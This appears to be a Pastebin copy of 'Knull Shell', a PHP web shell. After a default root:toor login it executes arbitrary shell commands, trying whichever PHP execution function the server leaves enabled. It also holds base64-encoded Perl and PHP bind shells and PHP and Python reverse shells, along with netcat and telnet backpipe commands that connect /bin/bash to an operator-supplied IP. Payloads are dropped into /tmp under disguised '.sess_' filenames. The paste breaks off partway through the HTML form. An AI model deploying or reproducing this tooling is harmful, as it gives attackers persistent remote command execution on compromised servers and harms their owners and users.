BIe

knul

BIe
Aug 6th, 2013
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.16 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3.  
  4. // check for disabled PHP functions
  5.  
  6. $disabled_funcs=@ini_get('disable_functions');
  7. if(!empty($disabled_funcs)){ $disabled_funcs=preg_replace('/[, ]+/', ',', $disabled_funcs);
  8. $disabled_funcs=explode(',', $disabled_funcs);
  9. $disabled_funcs=array_map('trim', $disabled_funcs); }else{ $disabled_funcs=array(); }
  10.  
  11. function logout() {
  12.  
  13. $_SESSION = array('authenticated' => false);
  14.  
  15. if (isset($_COOKIE[session_name()]))
  16. setcookie(session_name(), '', time()-44000, '/');
  17.  
  18. session_destroy();
  19. }
  20.  
  21.  
  22. function stripslashes_deep($value) {
  23. if (is_array($value))
  24. return array_map('stripslashes_deep', $value);
  25. else
  26. return stripslashes($value);
  27. }
  28.  
  29. // create 'hidden session looking' filename
  30. function sess_fname() {
  31. return '.sess_'.md5(mt_rand());
  32. }
  33.  
  34. // check for valid port
  35. function is_port($port){
  36. $retport = (is_numeric($port) && $port>=0 && $port<=65535) ? true : false;
  37. return $retport;
  38. }
  39.  
  40. // todo: check for valid ip
  41.  
  42. // execute command by enabled function
  43.  
  44. function exec_method($cmd) {
  45.  
  46. $retval = true;
  47.  
  48. if(is_callable('shell_exec') and !in_array('shell_exec',$disabled_funcs)) {
  49. $ret_exec=shell_exec($cmd);
  50. } else if (is_callable('passthru') and !in_array('passthru',$disabled_funcs)) {
  51. ob_start(); passthru($cmd); $ret_exec=ob_get_contents(); ob_end_clean();
  52. } else if (is_callable('exec') and !in_array('exec',$disabled_funcs)) {
  53. $ret_exec=array(); exec($cmd,$ret_exec);
  54. } else if (is_callable('system') and !in_array('system',$disabled_funcs)) {
  55. ob_start(); system($cmd); $ret_exec=ob_get_contents(); ob_end_clean();
  56. } else if (is_callable('proc_open')and!in_array('proc_open',$disabled_funcs)) {
  57. $handle=proc_open($cmd,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); $ret_exec=NULL; while(!feof($pipes[1])) { $ret_exec.=fread($pipes[1],1024); } @proc_close($handle);
  58. } else if(is_callable('popen')and!in_array('popen',$disabled_funcs)){
  59. $fp=popen($cmd,'r'); $ret_exec=NULL;
  60. } else {
  61. $retval = false;
  62. }
  63.  
  64. return $retval;
  65.  
  66. }
  67.  
  68. if (get_magic_quotes_gpc())
  69. $_POST = stripslashes_deep($_POST);
  70.  
  71. // Initialize variables
  72. $username = isset($_POST['username']) ? $_POST['username'] : '';
  73. $password = isset($_POST['password']) ? $_POST['password'] : '';
  74.  
  75. $webshcmd = isset($_POST['cmd']) ? $_POST['cmd'] : '';
  76. $rows = isset($_POST['rows']) ? $_POST['rows'] : 24;
  77. $columns = isset($_POST['columns']) ? $_POST['columns'] : 80;
  78.  
  79. /*
  80. Default username:password is root:toor , replace '435b41068e8665513a20070c033b08b9c66e4332'
  81. in the line below with the sha1 hash from the command 'echo -n yourpasswordhere | sha1sum -'
  82. */
  83. $ini['users'] = array('root' => 'sha1:435b41068e8665513a20070c033b08b9c66e4332');
  84.  
  85. // Default settings
  86. $default_settings = array('home-directory' => '.');
  87.  
  88. // Merge settings
  89. $ini['settings'] = array_merge($default_settings, $ini['users']);
  90.  
  91. session_start();
  92.  
  93. if (isset($_POST['logout']))
  94. logout();
  95.  
  96. // Authentication
  97. if (isset($ini['users'][$username])) {
  98. if (strchr($ini['users'][$username], ':') === false) {
  99. // No seperator = clear text password
  100. $_SESSION['authenticated'] = ($ini['users'][$username] == $password);
  101. } else {
  102. list($fkt, $hash) = explode(':', $ini['users'][$username]);
  103. $_SESSION['authenticated'] = ($fkt($password) == $hash);
  104. }
  105. }
  106.  
  107.  
  108. // not authed?
  109. if (!isset($_SESSION['authenticated']))
  110. $_SESSION['authenticated'] = false;
  111.  
  112. if ($_SESSION['authenticated']) {
  113. // Initialise session variables
  114. if (empty($_SESSION['cwd'])) {
  115. $_SESSION['cwd'] = realpath($ini['settings']['home-directory']);
  116. $_SESSION['output'] = '';
  117. }
  118.  
  119. if (!empty($webshcmd)) {
  120.  
  121. // append commmand to output
  122. $_SESSION['output'] .= '$ ' . $webshcmd . "\n";
  123.  
  124. // Initialize cwd
  125. if (preg_match('/^[[:blank:]]*cd[[:blank:]]*$/', $webshcmd)) {
  126. $_SESSION['cwd'] = realpath($ini['settings']['home-directory']);
  127. } elseif (preg_match('/^[[:blank:]]*cd[[:blank:]]+([^;]+)$/', $webshcmd, $regs)) {
  128. // 'cd' command to be handled as internal shell command
  129.  
  130. if ($regs[1]{0} == '/') {
  131. // its an absolute path, leave it
  132. $new_dir = $regs[1];
  133. } else {
  134. // append relative paths to cwd
  135. $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
  136. }
  137.  
  138. // '/./' becomes '/'
  139. while (strpos($new_dir, '/./') !== false)
  140. $new_dir = str_replace('/./', '/', $new_dir);
  141.  
  142. // '//' becomes '/'
  143. while (strpos($new_dir, '//') !== false)
  144. $new_dir = str_replace('//', '/', $new_dir);
  145.  
  146. // 'x/..' becomes ''
  147. while (preg_match('|/\.\.(?!\.)|', $new_dir))
  148. $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
  149.  
  150. if ($new_dir == '') $new_dir = '/';
  151.  
  152. if (@chdir($new_dir)) {
  153. $_SESSION['cwd'] = $new_dir;
  154. } else {
  155. $_SESSION['output'] .= "cd: could not change to: $new_dir\n";
  156. }
  157.  
  158. } elseif (trim($command) == 'exit') {
  159. logout();
  160. } else {
  161.  
  162. chdir($_SESSION['cwd']);
  163.  
  164. // cannot use putenv() when in safe mode
  165. if (!ini_get('safe_mode')) {
  166. // putenv the terminal size for programs
  167. putenv('ROWS=' . $rows);
  168. putenv('COLUMNS=' . $columns);
  169. }
  170.  
  171. // alias expansion
  172. $length = strcspn($webshcmd, " \t");
  173. $token = substr($webshcmd, 0, $length);
  174. if (isset($ini['aliases'][$token]))
  175. $webshcmd = $ini['aliases'][$token] . substr($webshcmd, $length);
  176.  
  177. $io = array();
  178. $p = proc_open($webshcmd,
  179. array(1 => array('pipe', 'w'),
  180. 2 => array('pipe', 'w')),
  181. $io);
  182.  
  183. // stdout
  184. while (!feof($io[1])) {
  185. $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
  186. ENT_COMPAT, 'UTF-8');
  187. }
  188. // stderr
  189. while (!feof($io[2])) {
  190. $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
  191. ENT_COMPAT, 'UTF-8');
  192. }
  193.  
  194. fclose($io[1]);
  195. fclose($io[2]);
  196. proc_close($p);
  197. }
  198.  
  199.  
  200. }
  201.  
  202. echo "<fieldset><legend><h4>Shells</h4></legend><form action='" . $_SERVER['REQUEST_URI'] . "' method='post'>";
  203. echo "IP: <input type='text' name='ip' size=15 maxlength=65> Port: <input type='text' name='port' size=5 maxlength=5>
  204. <select name='bd_host'>
  205. <option value='default'>Select Shell...</option>
  206. <option value='plbd'>Bind/Perl</option>
  207. <option value='phpbd'>Bind/PHP</option>
  208. <option value='ncbp'>Reverse/NetcatBackpipe</option>
  209. <option value='tnbp'>Reverse/TelnetBackpipe</option>
  210. <option value='phprev'>Reverse/PHP</option>
  211. <option value='pyrev'>Reverse/Python</option>
  212. </select>
  213. <input type='submit' value='Exec'>";
  214. // add ip/host validation
  215. if (empty($_POST['bd_host']) || $_POST['bd_host'] === 'default') { ; }
  216. else if (!is_port($_POST['port'])) {
  217. echo '<p class="error">Invalid port number!</p>';
  218. } else {
  219.  
  220. $uniqfn = '/tmp/' . sess_fname();
  221.  
  222. if ($_POST['bd_host'] === 'plbd'){
  223.  
  224. $bind_pl = "IyEvdXNyL2Jpbi9lbnYgcGVybA0KJFNIRUxMPSIvYmluL2Jhc2ggLWkiOw0KaWYgKEBBUkdWIDwg
  225. MSkgeyBleGl0KDEpOyB9DQokTElTVEVOX1BPUlQ9JEFSR1ZbMF07DQp1c2UgU29ja2V0Ow0KJHBy
  226. b3RvY29sPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCnNvY2tldChTLCZQRl9JTkVULCZTT0NLX1NU
  227. UkVBTSwkcHJvdG9jb2wpIHx8IGRpZSAiZXJyb3I6IHNvY2tldFxuIjsNCnNldHNvY2tvcHQoUyxT
  228. T0xfU09DS0VULFNPX1JFVVNFQUREUiwxKTsNCmJpbmQoUyxzb2NrYWRkcl9pbigkTElTVEVOX1BP
  229. UlQsSU5BRERSX0FOWSkpIHx8IGRpZSAiZXJyb3I6IGJpbmRcbiI7DQpsaXN0ZW4oUywzKSB8fCBk
  230. aWUgImVycm9yOiBsaXN0ZW5cbiI7DQp3aGlsZSgxKQ0Kew0KYWNjZXB0KENPTk4sUyk7DQppZigh
  231. KCRwaWQ9Zm9yaykpDQp7DQpkaWUgImVycm9yOiBmb3JrIiBpZiAoIWRlZmluZWQgJHBpZCk7DQpv
  232. cGVuIFNURElOLCI8JkNPTk4iOw0Kb3BlbiBTVERPVVQsIj4mQ09OTiI7DQpvcGVuIFNUREVSUiwi
  233. PiZDT05OIjsNCmV4ZWMgJFNIRUxMIHx8IGRpZSBwcmludCBDT05OICJlcnJvcjogZXhlYyAkU0hF
  234. TExcbiI7DQpjbG9zZSBDT05OOw0KZXhpdCAwOw0KfQ0KfQ0K";
  235.  
  236. @$fh=fopen($uniqfn,"ab+");
  237. @fwrite($fh,base64_decode($bind_pl));
  238. @fclose($fh);
  239. $command = 'perl ' . $uniqfn . ' ' . $_POST['port'] . ' > /dev/null &';
  240. if (exec_method($command)) {
  241. echo '<p>Perl Bindshell (should be) listening on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';
  242. } else {
  243. echo '<p class="error">Unable to execute Perl Bindshell!</p>';
  244. }
  245.  
  246. } else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'phpbd')){
  247.  
  248. $php_bind = "IyEvdXNyL2Jpbi9waHAKPD9waHAJCi8qIApLbnVsbCdzIG1vZGlmaWVkIGBtc2ZwYXlsb2FkIHBo
  249. cC9iaW5kX3BocCBSYAoqLwoKaWYgKCRhcmdjID09PSAzKSB7CgpAc2V0X3RpbWVfbGltaXQoMCk7
  250. CkBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDAp
  251. OwoJCiRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKaWYoIWVtcHR5KCRkZikpewoJ
  252. JGRmPXByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJGRmKTsKCSRkZj1leHBsb2RlKCcsJywg
  253. JGRmKTsKCSRkZj1hcnJheV9tYXAoJ3RyaW0nLCAkZGYpOwp9ZWxzZXsKCSRkZj1hcnJheSgpOwp9
  254. CgokcG9ydD0kYXJndlsyXTsKJGlwPSRhcmd2WzFdOwoKJHNvY2s9QHNvY2tldF9jcmVhdGUoQUZf
  255. SU5FVCxTT0NLX1NUUkVBTSxTT0xfVENQKTsKJHJldD1Ac29ja2V0X2JpbmQoJHNvY2ssJGlwLCRw
  256. b3J0KTsKJHJldD1Ac29ja2V0X2xpc3Rlbigkc29jayw1KTsKCiRtc2dzb2NrPUBzb2NrZXRfYWNj
  257. ZXB0KCRzb2NrKTsKQHNvY2tldF9jbG9zZSgkc29jayk7Cgp3aGlsZShGQUxTRSE9PUBzb2NrZXRf
  258. c2VsZWN0KCRyPWFycmF5KCRtc2dzb2NrKSwgJHc9TlVMTCwgJGU9TlVMTCwgTlVMTCkpCnsKCSRv
  259. ID0gJyc7CgkkYz1Ac29ja2V0X3JlYWQoJG1zZ3NvY2ssMjA0OCxQSFBfTk9STUFMX1JFQUQpOwoJ
  260. aWYoRkFMU0U9PT0kYyl7YnJlYWs7fQoJaWYoc3Vic3RyKCRjLDAsMykgPT0gJ2NkICcpewoJCWNo
  261. ZGlyKHN1YnN0cigkYywzLC0xKSk7Cgl9IGVsc2UgaWYgKHN1YnN0cigkYywwLDQpID09ICdxdWl0
  262. JyB8fCBzdWJzdHIoJGMsMCw0KSA9PSAnZXhpdCcpIHsKCQlicmVhazsKCX1lbHNlewoJCWlmIChG
  263. QUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicgKSkgewoJCSRjPSRjLiIg
  264. Mj4mMVxuIjsKCX0KCSRpc2M9J2lzX2NhbGxhYmxlJzsKCSRpbmE9J2luX2FycmF5JzsKCQkKCWlm
  265. KCRpc2MoJ3N5c3RlbScpYW5kISRpbmEoJ3N5c3RlbScsJGRmKSl7CgkJb2Jfc3RhcnQoKTsKCQlz
  266. eXN0ZW0oJGMpOwoJCSRvPW9iX2dldF9jb250ZW50cygpOwoJCW9iX2VuZF9jbGVhbigpOwoJfWVs
  267. c2UgaWYoJGlzYygncGFzc3RocnUnKWFuZCEkaW5hKCdwYXNzdGhydScsJGRmKSl7CgkJb2Jfc3Rh
  268. cnQoKTsKCQlwYXNzdGhydSgkYyk7CgkJJG89b2JfZ2V0X2NvbnRlbnRzKCk7CgkJb2JfZW5kX2Ns
  269. ZWFuKCk7Cgl9ZWxzZSBpZigkaXNjKCdleGVjJylhbmQhJGluYSgnZXhlYycsJGRmKSl7CgkJJG89
  270. YXJyYXkoKTsKCQlleGVjKCRjLCRvKTsKCQkkbz1qb2luKGNocigxMCksJG8pLmNocigxMCk7Cgl9
  271. ZWxzZSBpZigkaXNjKCdwcm9jX29wZW4nKWFuZCEkaW5hKCdwcm9jX29wZW4nLCRkZikpewoJCSRo
  272. YW5kbGU9cHJvY19vcGVuKCRjLGFycmF5KGFycmF5KHBpcGUsJ3InKSxhcnJheShwaXBlLCd3Jyks
  273. YXJyYXkocGlwZSwndycpKSwkcGlwZXMpOwoJCSRvPU5VTEw7CgkJd2hpbGUoIWZlb2YoJHBpcGVz
  274. WzFdKSl7CgkJCSRvLj1mcmVhZCgkcGlwZXNbMV0sMTAyNCk7CgkJfQoJCUBwcm9jX2Nsb3NlKCRo
  275. YW5kbGUpOwoJfWVsc2UgaWYoJGlzYygncG9wZW4nKWFuZCEkaW5hKCdwb3BlbicsJGRmKSl7CgkJ
  276. JGZwPXBvcGVuKCRjLCdyJyk7CgkJJG89TlVMTDsKCQlpZihpc19yZXNvdXJjZSgkZnApKXsKCQkJ
  277. d2hpbGUoIWZlb2YoJGZwKSl7CgkJCQkkby49ZnJlYWQoJGZwLDEwMjQpOwoJCQl9CgkJfQoJCUBw
  278. Y2xvc2UoJGZwKTsKCX1lbHNlIGlmKCRpc2MoJ3NoZWxsX2V4ZWMnKWFuZCEkaW5hKCdzaGVsbF9l
  279. eGVjJywkZGYpKXsKCQkkbz1zaGVsbF9leGVjKCRjKTsKCX1lbHNlIHsKCQkkbz0wOwoJfQoJCQoJ
  280. fQoJQHNvY2tldF93cml0ZSgkbXNnc29jaywkbyxzdHJsZW4oJG8pKTsKfQpAc29ja2V0X2Nsb3Nl
  281. KCRtc2dzb2NrKTsKfSBlbHNlIHsKCWVjaG8gJ3VzYWdlOiAnIC4gJGFyZ3ZbMF0gLiAnIHBvcnQn
  282. IC4gIlxuIjsKfQoKPz4K";
  283.  
  284.  
  285. @$fh=fopen($uniqfn,"wb+");
  286. @fwrite($fh,base64_decode($php_bind));
  287. @fclose($fh);
  288. $command = 'php ' . $uniqfn . ' ' . $_POST['ip'] . ' ' . $_POST['port'] . ' > /dev/null &';
  289. if (exec_method($command)) {
  290. echo '<p>PHP Bindshell (should be) listening on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';
  291. } else {
  292. echo '<p class="error">Unable to execute PHP Bindshell</p>';
  293. }
  294.  
  295.  
  296. } else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'phprev')){
  297.  
  298. $php_rev = 'IyEvdXNyL2Jpbi9waHAKPD9waHAKLyogCktudWxsJ3MgbW9kaWZpZWQgYG1zZnBheWxvYWQgcGhw
  299. L3JldmVyc2VfcGhwIExIT1NUPVguWC5YLlggUmBgCiovCgppZiAoJGFyZ2MgPT09IDMpIHsKCgkk
  300. aXBhZGRyPSRhcmd2WzFdOwoJJHBvcnQ9JGFyZ3ZbMl07CgkJCglAc2V0X3RpbWVfbGltaXQoMCk7
  301. IEBpZ25vcmVfdXNlcl9hYm9ydCgxKTsgQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7
  302. CgkkZGY9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CglpZighZW1wdHkoJGRmKSl7CgkJ
  303. JGRmPXByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJGRpcyk7CgkJJGRmPWV4cGxvZGUoJywn
  304. LCAkZGlzKTsKCQkkZGY9YXJyYXlfbWFwKCd0cmltJywgJGRpcyk7Cgl9ZWxzZXsKCQkkZGY9YXJy
  305. YXkoKTsKCX0KCQkJCgoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnY2V4ZScpKXsKCQlmdW5jdGlvbiBj
  306. ZXhlKCRjKXsKCQkJZ2xvYmFsICRkZjsKCQkJCgkJaWYgKEZBTFNFICE9PSBzdHJwb3Moc3RydG9s
  307. b3dlcihQSFBfT1MpLCAnd2luJyApKSB7CgkJCSRjPSRjLiIgMj4mMVxuIjsKCQl9CgkJJGlzYz0n
  308. aXNfY2FsbGFibGUnOwoJCSRpc2E9J2luX2FycmF5JzsKCQkKCQlpZigkaXNjKCdzeXN0ZW0nKWFu
  309. ZCEkaXNhKCdzeXN0ZW0nLCRkZikpewoJCQlvYl9zdGFydCgpOwoJCQlzeXN0ZW0oJGMpOwoJCQkk
  310. bz1vYl9nZXRfY29udGVudHMoKTsKCQkJb2JfZW5kX2NsZWFuKCk7CgkJfWVsc2UKCQlpZigkaXNj
  311. KCdwb3BlbicpYW5kISRpc2EoJ3BvcGVuJywkZGYpKXsKCQkJJGZwPXBvcGVuKCRjLCdyJyk7CgkJ
  312. CSRvPU5VTEw7CgkJCWlmKGlzX3Jlc291cmNlKCRmcCkpewoJCQkJd2hpbGUoIWZlb2YoJGZwKSl7
  313. CgkJCQkJJG8uPWZyZWFkKCRmcCwxMDI0KTsKCQkJCX0KCQkJfQoJCQlAcGNsb3NlKCRmcCk7CgkJ
  314. fWVsc2UKCQlpZigkaXNjKCdwcm9jX29wZW4nKWFuZCEkaXNhKCdwcm9jX29wZW4nLCRkZikpewoJ
  315. CQkkaGFuZGxlPXByb2Nfb3BlbigkYyxhcnJheShhcnJheShwaXBlLCdyJyksYXJyYXkocGlwZSwn
  316. dycpLGFycmF5KHBpcGUsJ3cnKSksJHBpcGVzKTsKCQkJJG89TlVMTDsKCQkJd2hpbGUoIWZlb2Yo
  317. JHBpcGVzWzFdKSl7CgkJCQkkby49ZnJlYWQoJHBpcGVzWzFdLDEwMjQpOwoJCQl9CgkJCUBwcm9j
  318. X2Nsb3NlKCRoYW5kbGUpOwoJCX1lbHNlCgkJaWYoJGlzYygnZXhlYycpYW5kISRpc2EoJ2V4ZWMn
  319. LCRkZikpewoJCQkkbz1hcnJheSgpOwoJCQlleGVjKCRjLCRvKTsKCQkJJG89am9pbihjaHIoMTAp
  320. LCRvKS5jaHIoMTApOwoJCX1lbHNlCgkJaWYoJGlzYygncGFzc3RocnUnKWFuZCEkaXNhKCdwYXNz
  321. dGhydScsJGRmKSl7CgkJCW9iX3N0YXJ0KCk7CgkJCXBhc3N0aHJ1KCRjKTsKCQkJJG89b2JfZ2V0
  322. X2NvbnRlbnRzKCk7CgkJCW9iX2VuZF9jbGVhbigpOwoJCX1lbHNlCgkJaWYoJGlzYygnc2hlbGxf
  323. ZXhlYycpYW5kISRpc2EoJ3NoZWxsX2V4ZWMnLCRkZikpewoJCQkkbz1zaGVsbF9leGVjKCRjKTsK
  324. CQl9ZWxzZQoJCXsKCQkJJG89MDsKCQl9CgkKCQkJcmV0dXJuICRvOwoJCX0KCX0KCSRub2Z1bmNz
  325. PSdubyBleGVjIGZ1bmN0aW9ucyc7CglpZihpc19jYWxsYWJsZSgnZnNvY2tvcGVuJylhbmQhaW5f
  326. YXJyYXkoJ2Zzb2Nrb3BlbicsJGRmKSl7CgkJJHM9QGZzb2Nrb3BlbigkaXBhZGRyLCRwb3J0KTsK
  327. CQl3aGlsZSgkYz1mcmVhZCgkcywyMDQ4KSl7CgkJCSRvdXQgPSAnJzsKCQkJaWYoc3Vic3RyKCRj
  328. LDAsMykgPT0gJ2NkICcpewoJCQkJY2hkaXIoc3Vic3RyKCRjLDMsLTEpKTsKCQkJfSBlbHNlIGlm
  329. IChzdWJzdHIoJGMsMCw0KSA9PSAncXVpdCcgfHwgc3Vic3RyKCRjLDAsNCkgPT0gJ2V4aXQnKSB7
  330. CgkJCQlicmVhazsKCQkJfWVsc2V7CgkJCQkkb3V0PWNleGUoc3Vic3RyKCRjLDAsLTEpKTsKCQkJ
  331. CWlmKCRvdXQ9PT1mYWxzZSl7CgkJCQkJZndyaXRlKCRzLCRub2Z1bmNzKTsKCQkJCQlicmVhazsK
  332. CQkJCX0KCQkJfQoJCQlmd3JpdGUoJHMsJG91dCk7CgkJfQoJCWZjbG9zZSgkcyk7Cgl9ZWxzZXsK
  333. CQkkcz1Ac29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApOwoJCUBzb2Nr
  334. ZXRfY29ubmVjdCgkcywkaXBhZGRyLCRwb3J0KTsKCQlAc29ja2V0X3dyaXRlKCRzLCJzb2NrZXRf
  335. Y3JlYXRlIik7CgkJd2hpbGUoJGM9QHNvY2tldF9yZWFkKCRzLDIwNDgpKXsKCQkJJG91dCA9ICcn
  336. OwoJCQlpZihzdWJzdHIoJGMsMCwzKSA9PSAnY2QgJyl7CgkJCQljaGRpcihzdWJzdHIoJGMsMywt
  337. MSkpOwoJCQl9IGVsc2UgaWYgKHN1YnN0cigkYywwLDQpID09ICdxdWl0JyB8fCBzdWJzdHIoJGMs
  338. MCw0KSA9PSAnZXhpdCcpIHsKCQkJCWJyZWFrOwoJCQl9ZWxzZXsKCQkJCSRvdXQ9Y2V4ZShzdWJz
  339. dHIoJGMsMCwtMSkpOwoJCQkJaWYoJG91dD09PWZhbHNlKXsKCQkJCQlAc29ja2V0X3dyaXRlKCRz
  340. LCRub2Z1bmNzKTsKCQkJCQlicmVhazsKCQkJCX0KCQkJfQoJCQlAc29ja2V0X3dyaXRlKCRzLCRv
  341. dXQsc3RybGVuKCRvdXQpKTsKCQl9CgkJQHNvY2tldF9jbG9zZSgkcyk7Cgl9Cn0gZWxzZSB7CiAg
  342. ICAgICAgZWNobyAndXNhZ2U6ICcgLiAkYXJndlswXSAuICcgcG9ydCcgLiAiXG4iOwp9Cgo/Pgo=
  343. ';
  344.  
  345. @$fh=fopen($uniqfn,"wb+");
  346. @fwrite($fh,base64_decode($php_rev));
  347. @fclose($fh);
  348. $command = 'php ' . $uniqfn . ' ' . $_POST['ip'] . ' ' . $_POST['port'] . ' > /dev/null &';
  349. if (exec_method($command)) {
  350. echo '<p>Check your nc listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';
  351. } else {
  352. echo '<p class="error">Unable to execute PHP reverse shell</p>';
  353. }
  354.  
  355. } else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'pyrev')){
  356.  
  357. $py_rev = 'aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHN5cwoKcz1zb2NrZXQuc29ja2V0KHNvY2tldC5B
  358. Rl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KChzeXMuYXJndlsxXSxpbnQoc3lz
  359. LmFyZ3ZbMl0pKSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpv
  360. cy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7
  361. Cg==';
  362.  
  363. @$fh=fopen($uniqfn,"wb+");
  364. @fwrite($fh,base64_decode($py_rev));
  365. @fclose($fh);
  366. $command = 'python ' . $uniqfn . ' ' . $_POST['ip'] . ' ' . $_POST['port'] . ' > /dev/null &';
  367. if (exec_method($command)) {
  368. echo '<p>Check your nc listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';
  369. } else {
  370. echo '<p class="error">Unable to execute Python reverse shell</p>';
  371. }
  372.  
  373. } else if (!empty($_POST['bd_host']) && ($_POST['bd_host'] === 'ncbp')){
  374.  
  375. $bpname = '/tmp/' . sess_fname();
  376. $cmdfile = 'mknod ' . $bpname . ' p && nc ' . $_POST['ip'] . ' ' . $_POST['port'] . ' 0<' . $bpname . ' | /bin/bash 1>' . $bpname . ' &';
  377. @$fh=fopen($uniqfn,"wb+");
  378. @fwrite($fh,$cmdfile);
  379. @fclose($fh);
  380. $command = '/bin/bash ' . $uniqfn . ' > /dev/null &';
  381. if (exec_method($command)) {
  382. echo '<p>Check your Netcat listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';
  383. } else {
  384. echo '<p class="error">Unable to execute Netcat Backpipe</p>';
  385. }
  386.  
  387.  
  388. } else if (isset($_POST['bd_host']) && ($_POST['bd_host'] === 'tnbp')){
  389.  
  390. $bpname = '/tmp/' . sess_fname();
  391. $cmdfile = 'mknod ' . $bpname . ' p && telnet ' . $_POST['ip'] . ' ' . $_POST['port'] . ' 0<' . $bpname . ' | /bin/bash 1>' . $bpname;
  392. @$fh=fopen($uniqfn,"wb+");
  393. @fwrite($fh,$cmdfile);
  394. @fclose($fh);
  395. $command = '/bin/bash ' . $uniqfn . ' > /dev/null &';
  396. if (exec_method($command)) {
  397. echo '<p>Check your Netcat listener on ' . htmlspecialchars($_POST['ip']) . ':' . htmlspecialchars($_POST['port']) . '</p>';
  398. } else {
  399. echo '<p class="error">Unable to execute Telnet Backpipe</p>';
  400. }
  401.  
  402.  
  403. }
  404. }
  405. echo '</fieldset>';
  406.  
  407.  
  408. }
  409.  
  410. ?>
  411. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  412. "http://www.w3.org/TR/html4/strict.dtd">
  413. <html>
  414. <head>
  415. <title>Knull Shell</title>
  416. <style type="text/css">
  417.  
  418. body {
  419. font-family: sans-serif;
  420. color: black;
  421. background: #f3f3f3;
  422. }
  423.  
  424. h4 {
  425. color: navy;
  426. }
  427.  
  428. img {
  429. border: none;
  430. }
  431.  
  432. div#terminal {
  433. border: inset 2px navy;
  434. padding: 2px;
  435. margin-top: 0.5em;
  436. }
  437.  
  438. div#terminal textarea {
  439. color: white;
  440. background: black;
  441. font-size: 100%;
  442. width: 100%;
  443. border: none;
  444. }
  445.  
  446. p {
  447. margin-top: 0.5em;
  448. margin-bottom: 0.5em;
  449. }
  450.  
  451. p#prompt {
  452. color: white;
  453. background: black;
  454. font-family: monospace;
  455. margin: 0px;
  456. }
  457.  
  458. p#prompt input {
  459. color: white;
  460. background: black;
  461. border: none;
  462. font-family: monospace;
  463. }
  464.  
  465. legend {
  466. padding-right: 0.5em;
  467. }
  468.  
  469. fieldset {
  470. padding: 0.5em;
  471. }
  472.  
  473. div#navycolor {
  474.  
  475. color: navy;
  476.  
  477. }
  478.  
  479. .error {
  480. color: red;
  481. }
  482.  
  483. </style>
  484. </head>
  485.  
  486. <body>
  487.  
  488. <form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
  489.  
  490. <?php
  491. if (!$_SESSION['authenticated']) {
  492. ?>
  493.  
  494. <fieldset>
  495. <legend><h4>Authentication</h4></legend>
  496.  
  497. <?php
  498. if (!empty($username))
  499. echo ' <p class="error">Login failed, please try again:</p>' . "\n";
  500. ?>
  501.  
  502. <p>Username: <input name="username" type="text" value="<?php echo $username
  503. ?>"></p>
  504.  
  505. <p>Password: <input name="password" type="password"></p>
  506.  
  507. <p><input type="submit" value="Login"></p>
  508.  
  509. </fieldset>
  510.  
  511. <?php } else { /* Auth'd */ ?>
  512.  
  513. <fieldset>
  514. <legend><h4>Server Details</h4></legend>
  515. ServerIP: <?php echo $_SERVER['SERVER_ADDR']; ?> &nbsp;&nbsp; VHost: <?php echo htmlspecialchars($_SERVER['SERVER_NAME']); ?> &nbsp;&nbsp; YourIP: <?php if (empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { echo htmlspecialchars($_SERVER['REMOTE_ADDR']); } else { echo htmlspecialchars($_SERVER['HTTP_X_FORWARDED_FOR']); } ?> &nbsp;&nbsp; Software: <?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE']); ?><br />UserAgent: <?php echo htmlspecialchars($_SERVER['HTTP_USER_AGENT']); ?><br />
  516. Pwd: <?php echo htmlspecialchars($_SESSION['cwd'], ENT_COMPAT, 'UTF-8'); ?> <br />
  517. ServerSig: <?php echo htmlspecialchars($_SERVER['SERVER_SIGNATURE'])?>
  518. <div id="terminal">
  519. <textarea name="output" readonly="readonly" cols="<?php echo $columns ?>" rows="<?php echo $rows ?>">
  520. <?php
  521. $lines = substr_count($_SESSION['output'], "\n");
  522. $padding = str_repeat("\n", max(0, $rows+1 - $lines));
  523. echo rtrim($padding . $_SESSION['output']);
  524. ?>
  525. </textarea>
  526. <p id="prompt">
  527. $&nbsp;<input name="cmd" type="text"
  528. onkeyup="key(event)" size="<?php echo $columns-2 ?>" tabindex="1">
  529. </p>
  530. </div>
  531.  
  532. <p>
